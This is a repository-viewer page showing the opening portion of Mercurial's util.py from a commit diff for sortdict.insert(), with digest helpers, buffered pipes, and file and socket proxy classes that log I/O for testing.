##// END OF EJS Templates
util: implement sortdict.insert()...
Martin von Zweigbergk -
r44359:68af0228 default
parent child Browse files
Show More
@@ -1,3599 +1,3610 b''
1 1 # util.py - Mercurial utility functions and platform specific implementations
2 2 #
3 3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 6 #
7 7 # This software may be used and distributed according to the terms of the
8 8 # GNU General Public License version 2 or any later version.
9 9
10 10 """Mercurial utility functions and platform specific implementations.
11 11
12 12 This contains helper routines that are independent of the SCM core and
13 13 hide platform-specific details from the core.
14 14 """
15 15
16 16 from __future__ import absolute_import, print_function
17 17
18 18 import abc
19 19 import collections
20 20 import contextlib
21 21 import errno
22 22 import gc
23 23 import hashlib
24 24 import itertools
25 25 import mmap
26 26 import os
27 27 import platform as pyplatform
28 28 import re as remod
29 29 import shutil
30 30 import socket
31 31 import stat
32 32 import sys
33 33 import time
34 34 import traceback
35 35 import warnings
36 36
37 37 from .thirdparty import attr
38 38 from .pycompat import (
39 39 delattr,
40 40 getattr,
41 41 open,
42 42 setattr,
43 43 )
44 44 from hgdemandimport import tracing
45 45 from . import (
46 46 encoding,
47 47 error,
48 48 i18n,
49 49 node as nodemod,
50 50 policy,
51 51 pycompat,
52 52 urllibcompat,
53 53 )
54 54 from .utils import (
55 55 compression,
56 56 procutil,
57 57 stringutil,
58 58 )
59 59
60 60 base85 = policy.importmod('base85')
61 61 osutil = policy.importmod('osutil')
62 62
63 63 b85decode = base85.b85decode
64 64 b85encode = base85.b85encode
65 65
66 66 cookielib = pycompat.cookielib
67 67 httplib = pycompat.httplib
68 68 pickle = pycompat.pickle
69 69 safehasattr = pycompat.safehasattr
70 70 socketserver = pycompat.socketserver
71 71 bytesio = pycompat.bytesio
72 72 # TODO deprecate stringio name, as it is a lie on Python 3.
73 73 stringio = bytesio
74 74 xmlrpclib = pycompat.xmlrpclib
75 75
76 76 httpserver = urllibcompat.httpserver
77 77 urlerr = urllibcompat.urlerr
78 78 urlreq = urllibcompat.urlreq
79 79
80 80 # workaround for win32mbcs
81 81 _filenamebytestr = pycompat.bytestr
82 82
83 83 if pycompat.iswindows:
84 84 from . import windows as platform
85 85 else:
86 86 from . import posix as platform
87 87
88 88 _ = i18n._
89 89
90 90 bindunixsocket = platform.bindunixsocket
91 91 cachestat = platform.cachestat
92 92 checkexec = platform.checkexec
93 93 checklink = platform.checklink
94 94 copymode = platform.copymode
95 95 expandglobs = platform.expandglobs
96 96 getfsmountpoint = platform.getfsmountpoint
97 97 getfstype = platform.getfstype
98 98 groupmembers = platform.groupmembers
99 99 groupname = platform.groupname
100 100 isexec = platform.isexec
101 101 isowner = platform.isowner
102 102 listdir = osutil.listdir
103 103 localpath = platform.localpath
104 104 lookupreg = platform.lookupreg
105 105 makedir = platform.makedir
106 106 nlinks = platform.nlinks
107 107 normpath = platform.normpath
108 108 normcase = platform.normcase
109 109 normcasespec = platform.normcasespec
110 110 normcasefallback = platform.normcasefallback
111 111 openhardlinks = platform.openhardlinks
112 112 oslink = platform.oslink
113 113 parsepatchoutput = platform.parsepatchoutput
114 114 pconvert = platform.pconvert
115 115 poll = platform.poll
116 116 posixfile = platform.posixfile
117 117 readlink = platform.readlink
118 118 rename = platform.rename
119 119 removedirs = platform.removedirs
120 120 samedevice = platform.samedevice
121 121 samefile = platform.samefile
122 122 samestat = platform.samestat
123 123 setflags = platform.setflags
124 124 split = platform.split
125 125 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
126 126 statisexec = platform.statisexec
127 127 statislink = platform.statislink
128 128 umask = platform.umask
129 129 unlink = platform.unlink
130 130 username = platform.username
131 131
132 132 # small compat layer
133 133 compengines = compression.compengines
134 134 SERVERROLE = compression.SERVERROLE
135 135 CLIENTROLE = compression.CLIENTROLE
136 136
137 137 try:
138 138 recvfds = osutil.recvfds
139 139 except AttributeError:
140 140 pass
141 141
142 142 # Python compatibility
143 143
144 144 _notset = object()
145 145
146 146
147 147 def bitsfrom(container):
148 148 bits = 0
149 149 for bit in container:
150 150 bits |= bit
151 151 return bits
152 152
153 153
154 154 # python 2.6 still have deprecation warning enabled by default. We do not want
155 155 # to display anything to standard user so detect if we are running test and
156 156 # only use python deprecation warning in this case.
157 157 _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS'))
158 158 if _dowarn:
159 159 # explicitly unfilter our warning for python 2.7
160 160 #
161 161 # The option of setting PYTHONWARNINGS in the test runner was investigated.
162 162 # However, module name set through PYTHONWARNINGS was exactly matched, so
163 163 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
164 164 # makes the whole PYTHONWARNINGS thing useless for our usecase.
165 165 warnings.filterwarnings('default', '', DeprecationWarning, 'mercurial')
166 166 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext')
167 167 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext3rd')
168 168 if _dowarn and pycompat.ispy3:
169 169 # silence warning emitted by passing user string to re.sub()
170 170 warnings.filterwarnings(
171 171 'ignore', 'bad escape', DeprecationWarning, 'mercurial'
172 172 )
173 173 warnings.filterwarnings(
174 174 'ignore', 'invalid escape sequence', DeprecationWarning, 'mercurial'
175 175 )
176 176 # TODO: reinvent imp.is_frozen()
177 177 warnings.filterwarnings(
178 178 'ignore',
179 179 'the imp module is deprecated',
180 180 DeprecationWarning,
181 181 'mercurial',
182 182 )
183 183
184 184
185 185 def nouideprecwarn(msg, version, stacklevel=1):
186 186 """Issue an python native deprecation warning
187 187
188 188 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
189 189 """
190 190 if _dowarn:
191 191 msg += (
192 192 b"\n(compatibility will be dropped after Mercurial-%s,"
193 193 b" update your code.)"
194 194 ) % version
195 195 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
196 196
197 197
198 198 DIGESTS = {
199 199 b'md5': hashlib.md5,
200 200 b'sha1': hashlib.sha1,
201 201 b'sha512': hashlib.sha512,
202 202 }
203 203 # List of digest types from strongest to weakest
204 204 DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5']
205 205
206 206 for k in DIGESTS_BY_STRENGTH:
207 207 assert k in DIGESTS
208 208
209 209
210 210 class digester(object):
211 211 """helper to compute digests.
212 212
213 213 This helper can be used to compute one or more digests given their name.
214 214
215 215 >>> d = digester([b'md5', b'sha1'])
216 216 >>> d.update(b'foo')
217 217 >>> [k for k in sorted(d)]
218 218 ['md5', 'sha1']
219 219 >>> d[b'md5']
220 220 'acbd18db4cc2f85cedef654fccc4a4d8'
221 221 >>> d[b'sha1']
222 222 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
223 223 >>> digester.preferred([b'md5', b'sha1'])
224 224 'sha1'
225 225 """
226 226
227 227 def __init__(self, digests, s=b''):
228 228 self._hashes = {}
229 229 for k in digests:
230 230 if k not in DIGESTS:
231 231 raise error.Abort(_(b'unknown digest type: %s') % k)
232 232 self._hashes[k] = DIGESTS[k]()
233 233 if s:
234 234 self.update(s)
235 235
236 236 def update(self, data):
237 237 for h in self._hashes.values():
238 238 h.update(data)
239 239
240 240 def __getitem__(self, key):
241 241 if key not in DIGESTS:
242 242 raise error.Abort(_(b'unknown digest type: %s') % k)
243 243 return nodemod.hex(self._hashes[key].digest())
244 244
245 245 def __iter__(self):
246 246 return iter(self._hashes)
247 247
248 248 @staticmethod
249 249 def preferred(supported):
250 250 """returns the strongest digest type in both supported and DIGESTS."""
251 251
252 252 for k in DIGESTS_BY_STRENGTH:
253 253 if k in supported:
254 254 return k
255 255 return None
256 256
257 257
258 258 class digestchecker(object):
259 259 """file handle wrapper that additionally checks content against a given
260 260 size and digests.
261 261
262 262 d = digestchecker(fh, size, {'md5': '...'})
263 263
264 264 When multiple digests are given, all of them are validated.
265 265 """
266 266
267 267 def __init__(self, fh, size, digests):
268 268 self._fh = fh
269 269 self._size = size
270 270 self._got = 0
271 271 self._digests = dict(digests)
272 272 self._digester = digester(self._digests.keys())
273 273
274 274 def read(self, length=-1):
275 275 content = self._fh.read(length)
276 276 self._digester.update(content)
277 277 self._got += len(content)
278 278 return content
279 279
280 280 def validate(self):
281 281 if self._size != self._got:
282 282 raise error.Abort(
283 283 _(b'size mismatch: expected %d, got %d')
284 284 % (self._size, self._got)
285 285 )
286 286 for k, v in self._digests.items():
287 287 if v != self._digester[k]:
288 288 # i18n: first parameter is a digest name
289 289 raise error.Abort(
290 290 _(b'%s mismatch: expected %s, got %s')
291 291 % (k, v, self._digester[k])
292 292 )
293 293
294 294
295 295 try:
296 296 buffer = buffer
297 297 except NameError:
298 298
299 299 def buffer(sliceable, offset=0, length=None):
300 300 if length is not None:
301 301 return memoryview(sliceable)[offset : offset + length]
302 302 return memoryview(sliceable)[offset:]
303 303
304 304
305 305 _chunksize = 4096
306 306
307 307
308 308 class bufferedinputpipe(object):
309 309 """a manually buffered input pipe
310 310
311 311 Python will not let us use buffered IO and lazy reading with 'polling' at
312 312 the same time. We cannot probe the buffer state and select will not detect
313 313 that data are ready to read if they are already buffered.
314 314
315 315 This class let us work around that by implementing its own buffering
316 316 (allowing efficient readline) while offering a way to know if the buffer is
317 317 empty from the output (allowing collaboration of the buffer with polling).
318 318
319 319 This class lives in the 'util' module because it makes use of the 'os'
320 320 module from the python stdlib.
321 321 """
322 322
323 323 def __new__(cls, fh):
324 324 # If we receive a fileobjectproxy, we need to use a variation of this
325 325 # class that notifies observers about activity.
326 326 if isinstance(fh, fileobjectproxy):
327 327 cls = observedbufferedinputpipe
328 328
329 329 return super(bufferedinputpipe, cls).__new__(cls)
330 330
331 331 def __init__(self, input):
332 332 self._input = input
333 333 self._buffer = []
334 334 self._eof = False
335 335 self._lenbuf = 0
336 336
337 337 @property
338 338 def hasbuffer(self):
339 339 """True is any data is currently buffered
340 340
341 341 This will be used externally a pre-step for polling IO. If there is
342 342 already data then no polling should be set in place."""
343 343 return bool(self._buffer)
344 344
345 345 @property
346 346 def closed(self):
347 347 return self._input.closed
348 348
349 349 def fileno(self):
350 350 return self._input.fileno()
351 351
352 352 def close(self):
353 353 return self._input.close()
354 354
355 355 def read(self, size):
356 356 while (not self._eof) and (self._lenbuf < size):
357 357 self._fillbuffer()
358 358 return self._frombuffer(size)
359 359
360 360 def unbufferedread(self, size):
361 361 if not self._eof and self._lenbuf == 0:
362 362 self._fillbuffer(max(size, _chunksize))
363 363 return self._frombuffer(min(self._lenbuf, size))
364 364
365 365 def readline(self, *args, **kwargs):
366 366 if len(self._buffer) > 1:
367 367 # this should not happen because both read and readline end with a
368 368 # _frombuffer call that collapse it.
369 369 self._buffer = [b''.join(self._buffer)]
370 370 self._lenbuf = len(self._buffer[0])
371 371 lfi = -1
372 372 if self._buffer:
373 373 lfi = self._buffer[-1].find(b'\n')
374 374 while (not self._eof) and lfi < 0:
375 375 self._fillbuffer()
376 376 if self._buffer:
377 377 lfi = self._buffer[-1].find(b'\n')
378 378 size = lfi + 1
379 379 if lfi < 0: # end of file
380 380 size = self._lenbuf
381 381 elif len(self._buffer) > 1:
382 382 # we need to take previous chunks into account
383 383 size += self._lenbuf - len(self._buffer[-1])
384 384 return self._frombuffer(size)
385 385
386 386 def _frombuffer(self, size):
387 387 """return at most 'size' data from the buffer
388 388
389 389 The data are removed from the buffer."""
390 390 if size == 0 or not self._buffer:
391 391 return b''
392 392 buf = self._buffer[0]
393 393 if len(self._buffer) > 1:
394 394 buf = b''.join(self._buffer)
395 395
396 396 data = buf[:size]
397 397 buf = buf[len(data) :]
398 398 if buf:
399 399 self._buffer = [buf]
400 400 self._lenbuf = len(buf)
401 401 else:
402 402 self._buffer = []
403 403 self._lenbuf = 0
404 404 return data
405 405
406 406 def _fillbuffer(self, size=_chunksize):
407 407 """read data to the buffer"""
408 408 data = os.read(self._input.fileno(), size)
409 409 if not data:
410 410 self._eof = True
411 411 else:
412 412 self._lenbuf += len(data)
413 413 self._buffer.append(data)
414 414
415 415 return data
416 416
417 417
418 418 def mmapread(fp):
419 419 try:
420 420 fd = getattr(fp, 'fileno', lambda: fp)()
421 421 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
422 422 except ValueError:
423 423 # Empty files cannot be mmapped, but mmapread should still work. Check
424 424 # if the file is empty, and if so, return an empty buffer.
425 425 if os.fstat(fd).st_size == 0:
426 426 return b''
427 427 raise
428 428
429 429
430 430 class fileobjectproxy(object):
431 431 """A proxy around file objects that tells a watcher when events occur.
432 432
433 433 This type is intended to only be used for testing purposes. Think hard
434 434 before using it in important code.
435 435 """
436 436
437 437 __slots__ = (
438 438 '_orig',
439 439 '_observer',
440 440 )
441 441
442 442 def __init__(self, fh, observer):
443 443 object.__setattr__(self, '_orig', fh)
444 444 object.__setattr__(self, '_observer', observer)
445 445
446 446 def __getattribute__(self, name):
447 447 ours = {
448 448 '_observer',
449 449 # IOBase
450 450 'close',
451 451 # closed if a property
452 452 'fileno',
453 453 'flush',
454 454 'isatty',
455 455 'readable',
456 456 'readline',
457 457 'readlines',
458 458 'seek',
459 459 'seekable',
460 460 'tell',
461 461 'truncate',
462 462 'writable',
463 463 'writelines',
464 464 # RawIOBase
465 465 'read',
466 466 'readall',
467 467 'readinto',
468 468 'write',
469 469 # BufferedIOBase
470 470 # raw is a property
471 471 'detach',
472 472 # read defined above
473 473 'read1',
474 474 # readinto defined above
475 475 # write defined above
476 476 }
477 477
478 478 # We only observe some methods.
479 479 if name in ours:
480 480 return object.__getattribute__(self, name)
481 481
482 482 return getattr(object.__getattribute__(self, '_orig'), name)
483 483
484 484 def __nonzero__(self):
485 485 return bool(object.__getattribute__(self, '_orig'))
486 486
487 487 __bool__ = __nonzero__
488 488
489 489 def __delattr__(self, name):
490 490 return delattr(object.__getattribute__(self, '_orig'), name)
491 491
492 492 def __setattr__(self, name, value):
493 493 return setattr(object.__getattribute__(self, '_orig'), name, value)
494 494
495 495 def __iter__(self):
496 496 return object.__getattribute__(self, '_orig').__iter__()
497 497
498 498 def _observedcall(self, name, *args, **kwargs):
499 499 # Call the original object.
500 500 orig = object.__getattribute__(self, '_orig')
501 501 res = getattr(orig, name)(*args, **kwargs)
502 502
503 503 # Call a method on the observer of the same name with arguments
504 504 # so it can react, log, etc.
505 505 observer = object.__getattribute__(self, '_observer')
506 506 fn = getattr(observer, name, None)
507 507 if fn:
508 508 fn(res, *args, **kwargs)
509 509
510 510 return res
511 511
512 512 def close(self, *args, **kwargs):
513 513 return object.__getattribute__(self, '_observedcall')(
514 514 'close', *args, **kwargs
515 515 )
516 516
517 517 def fileno(self, *args, **kwargs):
518 518 return object.__getattribute__(self, '_observedcall')(
519 519 'fileno', *args, **kwargs
520 520 )
521 521
522 522 def flush(self, *args, **kwargs):
523 523 return object.__getattribute__(self, '_observedcall')(
524 524 'flush', *args, **kwargs
525 525 )
526 526
527 527 def isatty(self, *args, **kwargs):
528 528 return object.__getattribute__(self, '_observedcall')(
529 529 'isatty', *args, **kwargs
530 530 )
531 531
532 532 def readable(self, *args, **kwargs):
533 533 return object.__getattribute__(self, '_observedcall')(
534 534 'readable', *args, **kwargs
535 535 )
536 536
537 537 def readline(self, *args, **kwargs):
538 538 return object.__getattribute__(self, '_observedcall')(
539 539 'readline', *args, **kwargs
540 540 )
541 541
542 542 def readlines(self, *args, **kwargs):
543 543 return object.__getattribute__(self, '_observedcall')(
544 544 'readlines', *args, **kwargs
545 545 )
546 546
547 547 def seek(self, *args, **kwargs):
548 548 return object.__getattribute__(self, '_observedcall')(
549 549 'seek', *args, **kwargs
550 550 )
551 551
552 552 def seekable(self, *args, **kwargs):
553 553 return object.__getattribute__(self, '_observedcall')(
554 554 'seekable', *args, **kwargs
555 555 )
556 556
557 557 def tell(self, *args, **kwargs):
558 558 return object.__getattribute__(self, '_observedcall')(
559 559 'tell', *args, **kwargs
560 560 )
561 561
562 562 def truncate(self, *args, **kwargs):
563 563 return object.__getattribute__(self, '_observedcall')(
564 564 'truncate', *args, **kwargs
565 565 )
566 566
567 567 def writable(self, *args, **kwargs):
568 568 return object.__getattribute__(self, '_observedcall')(
569 569 'writable', *args, **kwargs
570 570 )
571 571
572 572 def writelines(self, *args, **kwargs):
573 573 return object.__getattribute__(self, '_observedcall')(
574 574 'writelines', *args, **kwargs
575 575 )
576 576
577 577 def read(self, *args, **kwargs):
578 578 return object.__getattribute__(self, '_observedcall')(
579 579 'read', *args, **kwargs
580 580 )
581 581
582 582 def readall(self, *args, **kwargs):
583 583 return object.__getattribute__(self, '_observedcall')(
584 584 'readall', *args, **kwargs
585 585 )
586 586
587 587 def readinto(self, *args, **kwargs):
588 588 return object.__getattribute__(self, '_observedcall')(
589 589 'readinto', *args, **kwargs
590 590 )
591 591
592 592 def write(self, *args, **kwargs):
593 593 return object.__getattribute__(self, '_observedcall')(
594 594 'write', *args, **kwargs
595 595 )
596 596
597 597 def detach(self, *args, **kwargs):
598 598 return object.__getattribute__(self, '_observedcall')(
599 599 'detach', *args, **kwargs
600 600 )
601 601
602 602 def read1(self, *args, **kwargs):
603 603 return object.__getattribute__(self, '_observedcall')(
604 604 'read1', *args, **kwargs
605 605 )
606 606
607 607
608 608 class observedbufferedinputpipe(bufferedinputpipe):
609 609 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
610 610
611 611 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
612 612 bypass ``fileobjectproxy``. Because of this, we need to make
613 613 ``bufferedinputpipe`` aware of these operations.
614 614
615 615 This variation of ``bufferedinputpipe`` can notify observers about
616 616 ``os.read()`` events. It also re-publishes other events, such as
617 617 ``read()`` and ``readline()``.
618 618 """
619 619
620 620 def _fillbuffer(self):
621 621 res = super(observedbufferedinputpipe, self)._fillbuffer()
622 622
623 623 fn = getattr(self._input._observer, 'osread', None)
624 624 if fn:
625 625 fn(res, _chunksize)
626 626
627 627 return res
628 628
629 629 # We use different observer methods because the operation isn't
630 630 # performed on the actual file object but on us.
631 631 def read(self, size):
632 632 res = super(observedbufferedinputpipe, self).read(size)
633 633
634 634 fn = getattr(self._input._observer, 'bufferedread', None)
635 635 if fn:
636 636 fn(res, size)
637 637
638 638 return res
639 639
640 640 def readline(self, *args, **kwargs):
641 641 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
642 642
643 643 fn = getattr(self._input._observer, 'bufferedreadline', None)
644 644 if fn:
645 645 fn(res)
646 646
647 647 return res
648 648
649 649
650 650 PROXIED_SOCKET_METHODS = {
651 651 'makefile',
652 652 'recv',
653 653 'recvfrom',
654 654 'recvfrom_into',
655 655 'recv_into',
656 656 'send',
657 657 'sendall',
658 658 'sendto',
659 659 'setblocking',
660 660 'settimeout',
661 661 'gettimeout',
662 662 'setsockopt',
663 663 }
664 664
665 665
666 666 class socketproxy(object):
667 667 """A proxy around a socket that tells a watcher when events occur.
668 668
669 669 This is like ``fileobjectproxy`` except for sockets.
670 670
671 671 This type is intended to only be used for testing purposes. Think hard
672 672 before using it in important code.
673 673 """
674 674
675 675 __slots__ = (
676 676 '_orig',
677 677 '_observer',
678 678 )
679 679
680 680 def __init__(self, sock, observer):
681 681 object.__setattr__(self, '_orig', sock)
682 682 object.__setattr__(self, '_observer', observer)
683 683
684 684 def __getattribute__(self, name):
685 685 if name in PROXIED_SOCKET_METHODS:
686 686 return object.__getattribute__(self, name)
687 687
688 688 return getattr(object.__getattribute__(self, '_orig'), name)
689 689
690 690 def __delattr__(self, name):
691 691 return delattr(object.__getattribute__(self, '_orig'), name)
692 692
693 693 def __setattr__(self, name, value):
694 694 return setattr(object.__getattribute__(self, '_orig'), name, value)
695 695
696 696 def __nonzero__(self):
697 697 return bool(object.__getattribute__(self, '_orig'))
698 698
699 699 __bool__ = __nonzero__
700 700
701 701 def _observedcall(self, name, *args, **kwargs):
702 702 # Call the original object.
703 703 orig = object.__getattribute__(self, '_orig')
704 704 res = getattr(orig, name)(*args, **kwargs)
705 705
706 706 # Call a method on the observer of the same name with arguments
707 707 # so it can react, log, etc.
708 708 observer = object.__getattribute__(self, '_observer')
709 709 fn = getattr(observer, name, None)
710 710 if fn:
711 711 fn(res, *args, **kwargs)
712 712
713 713 return res
714 714
715 715 def makefile(self, *args, **kwargs):
716 716 res = object.__getattribute__(self, '_observedcall')(
717 717 'makefile', *args, **kwargs
718 718 )
719 719
720 720 # The file object may be used for I/O. So we turn it into a
721 721 # proxy using our observer.
722 722 observer = object.__getattribute__(self, '_observer')
723 723 return makeloggingfileobject(
724 724 observer.fh,
725 725 res,
726 726 observer.name,
727 727 reads=observer.reads,
728 728 writes=observer.writes,
729 729 logdata=observer.logdata,
730 730 logdataapis=observer.logdataapis,
731 731 )
732 732
733 733 def recv(self, *args, **kwargs):
734 734 return object.__getattribute__(self, '_observedcall')(
735 735 'recv', *args, **kwargs
736 736 )
737 737
738 738 def recvfrom(self, *args, **kwargs):
739 739 return object.__getattribute__(self, '_observedcall')(
740 740 'recvfrom', *args, **kwargs
741 741 )
742 742
743 743 def recvfrom_into(self, *args, **kwargs):
744 744 return object.__getattribute__(self, '_observedcall')(
745 745 'recvfrom_into', *args, **kwargs
746 746 )
747 747
748 748 def recv_into(self, *args, **kwargs):
749 749 return object.__getattribute__(self, '_observedcall')(
750 750 'recv_info', *args, **kwargs
751 751 )
752 752
753 753 def send(self, *args, **kwargs):
754 754 return object.__getattribute__(self, '_observedcall')(
755 755 'send', *args, **kwargs
756 756 )
757 757
758 758 def sendall(self, *args, **kwargs):
759 759 return object.__getattribute__(self, '_observedcall')(
760 760 'sendall', *args, **kwargs
761 761 )
762 762
763 763 def sendto(self, *args, **kwargs):
764 764 return object.__getattribute__(self, '_observedcall')(
765 765 'sendto', *args, **kwargs
766 766 )
767 767
768 768 def setblocking(self, *args, **kwargs):
769 769 return object.__getattribute__(self, '_observedcall')(
770 770 'setblocking', *args, **kwargs
771 771 )
772 772
773 773 def settimeout(self, *args, **kwargs):
774 774 return object.__getattribute__(self, '_observedcall')(
775 775 'settimeout', *args, **kwargs
776 776 )
777 777
778 778 def gettimeout(self, *args, **kwargs):
779 779 return object.__getattribute__(self, '_observedcall')(
780 780 'gettimeout', *args, **kwargs
781 781 )
782 782
783 783 def setsockopt(self, *args, **kwargs):
784 784 return object.__getattribute__(self, '_observedcall')(
785 785 'setsockopt', *args, **kwargs
786 786 )
787 787
788 788
789 789 class baseproxyobserver(object):
790 790 def _writedata(self, data):
791 791 if not self.logdata:
792 792 if self.logdataapis:
793 793 self.fh.write(b'\n')
794 794 self.fh.flush()
795 795 return
796 796
797 797 # Simple case writes all data on a single line.
798 798 if b'\n' not in data:
799 799 if self.logdataapis:
800 800 self.fh.write(b': %s\n' % stringutil.escapestr(data))
801 801 else:
802 802 self.fh.write(
803 803 b'%s> %s\n' % (self.name, stringutil.escapestr(data))
804 804 )
805 805 self.fh.flush()
806 806 return
807 807
808 808 # Data with newlines is written to multiple lines.
809 809 if self.logdataapis:
810 810 self.fh.write(b':\n')
811 811
812 812 lines = data.splitlines(True)
813 813 for line in lines:
814 814 self.fh.write(
815 815 b'%s> %s\n' % (self.name, stringutil.escapestr(line))
816 816 )
817 817 self.fh.flush()
818 818
819 819
820 820 class fileobjectobserver(baseproxyobserver):
821 821 """Logs file object activity."""
822 822
823 823 def __init__(
824 824 self, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
825 825 ):
826 826 self.fh = fh
827 827 self.name = name
828 828 self.logdata = logdata
829 829 self.logdataapis = logdataapis
830 830 self.reads = reads
831 831 self.writes = writes
832 832
833 833 def read(self, res, size=-1):
834 834 if not self.reads:
835 835 return
836 836 # Python 3 can return None from reads at EOF instead of empty strings.
837 837 if res is None:
838 838 res = b''
839 839
840 840 if size == -1 and res == b'':
841 841 # Suppress pointless read(-1) calls that return
842 842 # nothing. These happen _a lot_ on Python 3, and there
843 843 # doesn't seem to be a better workaround to have matching
844 844 # Python 2 and 3 behavior. :(
845 845 return
846 846
847 847 if self.logdataapis:
848 848 self.fh.write(b'%s> read(%d) -> %d' % (self.name, size, len(res)))
849 849
850 850 self._writedata(res)
851 851
852 852 def readline(self, res, limit=-1):
853 853 if not self.reads:
854 854 return
855 855
856 856 if self.logdataapis:
857 857 self.fh.write(b'%s> readline() -> %d' % (self.name, len(res)))
858 858
859 859 self._writedata(res)
860 860
861 861 def readinto(self, res, dest):
862 862 if not self.reads:
863 863 return
864 864
865 865 if self.logdataapis:
866 866 self.fh.write(
867 867 b'%s> readinto(%d) -> %r' % (self.name, len(dest), res)
868 868 )
869 869
870 870 data = dest[0:res] if res is not None else b''
871 871
872 872 # _writedata() uses "in" operator and is confused by memoryview because
873 873 # characters are ints on Python 3.
874 874 if isinstance(data, memoryview):
875 875 data = data.tobytes()
876 876
877 877 self._writedata(data)
878 878
879 879 def write(self, res, data):
880 880 if not self.writes:
881 881 return
882 882
883 883 # Python 2 returns None from some write() calls. Python 3 (reasonably)
884 884 # returns the integer bytes written.
885 885 if res is None and data:
886 886 res = len(data)
887 887
888 888 if self.logdataapis:
889 889 self.fh.write(b'%s> write(%d) -> %r' % (self.name, len(data), res))
890 890
891 891 self._writedata(data)
892 892
893 893 def flush(self, res):
894 894 if not self.writes:
895 895 return
896 896
897 897 self.fh.write(b'%s> flush() -> %r\n' % (self.name, res))
898 898
899 899 # For observedbufferedinputpipe.
900 900 def bufferedread(self, res, size):
901 901 if not self.reads:
902 902 return
903 903
904 904 if self.logdataapis:
905 905 self.fh.write(
906 906 b'%s> bufferedread(%d) -> %d' % (self.name, size, len(res))
907 907 )
908 908
909 909 self._writedata(res)
910 910
911 911 def bufferedreadline(self, res):
912 912 if not self.reads:
913 913 return
914 914
915 915 if self.logdataapis:
916 916 self.fh.write(
917 917 b'%s> bufferedreadline() -> %d' % (self.name, len(res))
918 918 )
919 919
920 920 self._writedata(res)
921 921
922 922
923 923 def makeloggingfileobject(
924 924 logh, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
925 925 ):
926 926 """Turn a file object into a logging file object."""
927 927
928 928 observer = fileobjectobserver(
929 929 logh,
930 930 name,
931 931 reads=reads,
932 932 writes=writes,
933 933 logdata=logdata,
934 934 logdataapis=logdataapis,
935 935 )
936 936 return fileobjectproxy(fh, observer)
937 937
938 938
939 939 class socketobserver(baseproxyobserver):
940 940 """Logs socket activity."""
941 941
942 942 def __init__(
943 943 self,
944 944 fh,
945 945 name,
946 946 reads=True,
947 947 writes=True,
948 948 states=True,
949 949 logdata=False,
950 950 logdataapis=True,
951 951 ):
952 952 self.fh = fh
953 953 self.name = name
954 954 self.reads = reads
955 955 self.writes = writes
956 956 self.states = states
957 957 self.logdata = logdata
958 958 self.logdataapis = logdataapis
959 959
960 960 def makefile(self, res, mode=None, bufsize=None):
961 961 if not self.states:
962 962 return
963 963
964 964 self.fh.write(b'%s> makefile(%r, %r)\n' % (self.name, mode, bufsize))
965 965
966 966 def recv(self, res, size, flags=0):
967 967 if not self.reads:
968 968 return
969 969
970 970 if self.logdataapis:
971 971 self.fh.write(
972 972 b'%s> recv(%d, %d) -> %d' % (self.name, size, flags, len(res))
973 973 )
974 974 self._writedata(res)
975 975
976 976 def recvfrom(self, res, size, flags=0):
977 977 if not self.reads:
978 978 return
979 979
980 980 if self.logdataapis:
981 981 self.fh.write(
982 982 b'%s> recvfrom(%d, %d) -> %d'
983 983 % (self.name, size, flags, len(res[0]))
984 984 )
985 985
986 986 self._writedata(res[0])
987 987
988 988 def recvfrom_into(self, res, buf, size, flags=0):
989 989 if not self.reads:
990 990 return
991 991
992 992 if self.logdataapis:
993 993 self.fh.write(
994 994 b'%s> recvfrom_into(%d, %d) -> %d'
995 995 % (self.name, size, flags, res[0])
996 996 )
997 997
998 998 self._writedata(buf[0 : res[0]])
999 999
1000 1000 def recv_into(self, res, buf, size=0, flags=0):
1001 1001 if not self.reads:
1002 1002 return
1003 1003
1004 1004 if self.logdataapis:
1005 1005 self.fh.write(
1006 1006 b'%s> recv_into(%d, %d) -> %d' % (self.name, size, flags, res)
1007 1007 )
1008 1008
1009 1009 self._writedata(buf[0:res])
1010 1010
1011 1011 def send(self, res, data, flags=0):
1012 1012 if not self.writes:
1013 1013 return
1014 1014
1015 1015 self.fh.write(
1016 1016 b'%s> send(%d, %d) -> %d' % (self.name, len(data), flags, len(res))
1017 1017 )
1018 1018 self._writedata(data)
1019 1019
1020 1020 def sendall(self, res, data, flags=0):
1021 1021 if not self.writes:
1022 1022 return
1023 1023
1024 1024 if self.logdataapis:
1025 1025 # Returns None on success. So don't bother reporting return value.
1026 1026 self.fh.write(
1027 1027 b'%s> sendall(%d, %d)' % (self.name, len(data), flags)
1028 1028 )
1029 1029
1030 1030 self._writedata(data)
1031 1031
1032 1032 def sendto(self, res, data, flagsoraddress, address=None):
1033 1033 if not self.writes:
1034 1034 return
1035 1035
1036 1036 if address:
1037 1037 flags = flagsoraddress
1038 1038 else:
1039 1039 flags = 0
1040 1040
1041 1041 if self.logdataapis:
1042 1042 self.fh.write(
1043 1043 b'%s> sendto(%d, %d, %r) -> %d'
1044 1044 % (self.name, len(data), flags, address, res)
1045 1045 )
1046 1046
1047 1047 self._writedata(data)
1048 1048
1049 1049 def setblocking(self, res, flag):
1050 1050 if not self.states:
1051 1051 return
1052 1052
1053 1053 self.fh.write(b'%s> setblocking(%r)\n' % (self.name, flag))
1054 1054
1055 1055 def settimeout(self, res, value):
1056 1056 if not self.states:
1057 1057 return
1058 1058
1059 1059 self.fh.write(b'%s> settimeout(%r)\n' % (self.name, value))
1060 1060
1061 1061 def gettimeout(self, res):
1062 1062 if not self.states:
1063 1063 return
1064 1064
1065 1065 self.fh.write(b'%s> gettimeout() -> %f\n' % (self.name, res))
1066 1066
